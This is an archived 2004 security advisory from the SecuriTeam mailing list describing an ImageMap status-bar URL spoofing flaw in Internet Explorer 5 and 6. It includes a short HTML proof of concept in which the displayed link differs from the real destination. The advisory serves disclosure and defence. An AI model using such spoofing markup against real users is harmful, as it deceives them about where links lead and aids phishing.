[NT] Microsoft Internet Explorer ImageMap URL Spoof Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 05/18/04

  • Next message: SecuriTeam: "[TOOL] AIRE - 802.11 Network Discovery for Windows XP" 
    To: list@securiteam.com
Date: 18 May 2004 16:54:29 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Microsoft Internet Explorer ImageMap URL Spoof Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability has been found in Microsoft Internet Explorer. A specially
    coded ImageMap can be used to spoof the URL displayed in the lower, left
    hand corner of the browser.

    DETAILS

    Affected Systems/Configuration:
    The versions affected by this vulnerability are Microsoft Internet
    Explorer 5 and 6.

    An ImageMap can be used to spoof the URL displayed in the lower, left hand
    of the browser. View the "Proof of Concept" example for details.

    Proof of Concept:
     <http://www.kurczaba.com/securityadvisories/0405132poc.htm>
    http://www.kurczaba.com/securityadvisories/0405132poc.htm

    < A HREF="http://www.microsoft.com/">
    < map name="FPMap0">

    < area coords="0, 6, 151, 32" shape="rect" href="http://www.linux.com">
    </map>
    < img SRC="http://www.kurczaba.com/images/0405132-graphic2.gif"
    WIDTH="156" HEIGHT="38" border="0" usemap="#FPMap0"></A>
    </a>

    ADDITIONAL INFORMATION

    The information has been provided by Paul Kurczaba.

    The original article can be found at:
    <http://www.kurczaba.com/securityadvisories/0405132poc.htm>
    http://www.kurczaba.com/securityadvisories/0405132poc.htm

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] AIRE - 802.11 Network Discovery for Windows XP"

    Relevant Pages

    • [NEWS] Mozilla XPCOM Library Race Condition
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... XPCOM Race Condition: ... an access violation and result in a hard crash of the browser. ...
      (Securiteam)
    • [NEWS] Gekco Browsers DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Firefox and Camino) allows attackers to crash the browser by ... By using a specially crafted JavaScript function, ...
      (Securiteam)
    • [NT] Phishing for Opera
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Opera is "a cross-platform web browser". ... enough for the icon to seem as though it is the address bar itself. ...
      (Securiteam)
    • [NT] Buffer Overflow in WideChapter Browser
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... WideChapter "is the most powerful multi ... Chapter multi tab web browser. ... WideChapter runs under Windows 98, Windows NT4, Windows ME, Windows 2000, ...
      (Securiteam)
    • [NT] FastStone 4in1 Browser Directory Traversal
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... FastStone 4in1 Browser does not properly sanitize the directory reference ...
      (Securiteam)